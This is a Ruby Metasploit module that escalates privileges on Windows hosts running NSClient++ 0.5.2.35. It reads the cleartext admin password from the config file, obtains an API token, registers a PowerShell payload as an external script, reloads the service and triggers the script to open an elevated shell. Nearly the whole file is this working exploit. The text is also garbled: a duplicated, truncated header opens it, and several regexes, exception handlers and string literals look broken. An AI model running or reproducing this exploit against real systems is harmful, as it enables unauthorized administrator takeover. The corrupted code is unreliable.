# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exp ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Exploit::Remote::HttpClient
include ::Msf::Exploit::Powershell
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'NSClient++ 0.5.2.35 - Privilege escalation',
'Description' => %q{
This module allows an attacker with an unprivileged windows account to gain admin access on windows system and start a shell.
For this module to work, both the NSClient++ web interface and `ExternalScripts` features must be enabled.
You must also know where the NSClient config file is, as it is used to read the admin password which is stored in clear text.
},
'License' => MSF_LICENSE,
'Author' =>
[ # This module is kind of mix of the two following POCs :
'kindredsec', # POC on www.exploit-db.com
'BZYO', # POC on www.exploit-db.com
'Yann Castel (yann.castel[at]orange.com)' # Metasploit module
],
'References' =>
[
['EDB', '48360'],
['EDB', '46802']
],
'Platform' => %w[windows],
'Arch' => [ARCH_X64],
'Targets' =>
[
[
'Windows',
{
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :windows_powershell
}
]
],
'Privileged' => true,
'DisclosureDate' => '2020-10-20',
'DefaultTarget' => 0,
'Notes' =>
{
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
},
'DefaultOptions' => { 'SSL' => true, 'RPORT' => 8443 }
)
)
deregister_options('RHOSTS')
register_options [
OptString.new('FILE', [true, 'Config file of NSClient', 'C:\Program Files\NSClient++\nsclient.ini']),
OptInt.new('DELAY', [true, 'Delay (in sec.) between each attempt of checking nscp status', 2])
]
end
def rhost
session.session_host
end
def configure_payload(token, cmd, key)
print_status('Configuring Script with Specified Payload . . .')
plugin_id = rand(1..10000).to_s
node = {
'path' => '/settings/external scripts/scripts',
'key' => key
}
value = { 'string_data' => cmd }
update = { 'node' => node, 'value' => value }
payload = [
{
'plugin_id' => plugin_id,
'update' => update
}
]
json_data = { 'type' => 'SettingsRequestMessage', 'payload' => payload }
r = send_request_cgi({
'method' => 'POST',
'data' => JSON.generate(json_data),
'headers' => { 'TOKEN' => token },
'uri' => normalize_uri('/settings/query.json')
})
if !(r&.body.to_s.include? 'STATUS_OK')
print_error('Error configuring payload. Hit error at: ' + endpoint)
end
print_status('Added External Script (name: ' + key + ')')
sleep(3)
print_status('Saving Configuration . . .')
header = { 'version' => '1' }
payload = [ { 'plugin_id' => plugin_id, 'control' => { 'command' => 'SAVE' } } ]
json_data = { 'header' => header, 'type' => 'SettingsRequestMessage', 'payload' => payload }
send_request_cgi({
'method' => 'POST',
'data' => JSON.generate(json_data),
'headers' => { 'TOKEN' => token },
'uri' => normalize_uri('/settings/query.json')
})
end
def reload_config(token)
print_status('Reloading Application . . .')
send_request_cgi({
'method' => 'GET',
'headers' => { 'TOKEN' => token },
'uri' => normalize_uri('/core/reload')
})
print_status('Waiting for Application to reload . . .')
sleep(10)
response = false
count = 0
until response
begin
sleep(datastore['DELAY'])
r = send_request_cgi({
'method' => 'GET',
'headers' => { 'TOKEN' => token },
'uri' => normalize_uri('/')
})
if r && !r.body.empty?
response = true
end
rescue StandardError
print_error("Request could not be sent. #{e.class} error raised with message '#{e.message}'")
end
count += 1
if count > 10
fail_with(Failure::Unreachable, 'Application failed to reload. Nice DoS exploit!')
end
end
end
def trigger_payload(token, key)
print_status('Triggering payload, should execute shortly . . .')
send_request_cgi({
'method' => 'GET',
'headers' => { 'TOKEN' => token },
'uri' => normalize_uri("/query/#{key}")
})
rescue StandardError
print_error("Request could not be sent. #{e.class} error raised with message '#{e.message}'")
end
def external_scripts_feature_enabled?(token)
r = send_request_cgi({
'method' => 'GET',
'headers' => { 'TOKEN' => token },
'uri' => normalize_uri('/registry/control/module/load'),
'vars_get' => { 'name' => 'CheckExternalScripts' }
})
r&.body.to_s.include? 'STATUS_OK'
end
def get_auth_token(pwd)
r = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('/auth/token?password=' + pwd)
})
if r&.code == 200
auth_token = r.body.to_s[/"auth token": "(w*)"/, 1]
return auth_token
end
rescue StandardError => e
print_error("Request could not be sent. #{e.class} error raised with message '#{e.message}'")
end
def get_arg(line)
line.split('=')[1].gsub(/s+/, '')
end
def leak_info
file_contents = read_file(datastore['FILE'])
return unless file_contents
a = file_contents.split(" ")
pwd = nil
web_server_enabled = false
a.each do |x|
if x =~ /password/
pwd = get_arg(x)
print_good("Admin password found : #{pwd}")
elsif x =~ /WEBServer/
if x =~ /enabled/
web_server_enabled = true
print_good('NSClient web interface is enabled !')
end
end
end
return pwd, web_server_enabled
end
def check
datastore['RHOST'] = session.session_host
pwd, web_server_enabled = leak_info
if pwd.nil?
CheckCode::Unknown('Admin password not found in config file')
elsif !web_server_enabled
CheckCode::Safe('NSClient web interface is disabled')
else
token = get_auth_token(pwd)
if token.nil?
CheckCode::Unknown('Unable to get an authentication token, maybe the target is safe')
elsif external_scripts_feature_enabled?(token)
CheckCode::Vulnerable('External scripts feature enabled !')
else
CheckCode::Safe('External scripts feature disabled !')
end
end
end
def exploit
datastore['RHOST'] = session.session_host
pwd, _web_server_enabled = leak_info
cmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true)
token = get_auth_token(pwd)
if token
rand_key = rand_text_alpha_lower(10)
configure_payload(token, cmd, rand_key)
reload_config(token)
token = get_auth_token(pwd) # reloading the app might imply the need to create a new auth token as the former could have been deleted
trigger_payload(token, rand_key)
else
print_error('Auth token couldn't be retrieved.')
end
end
end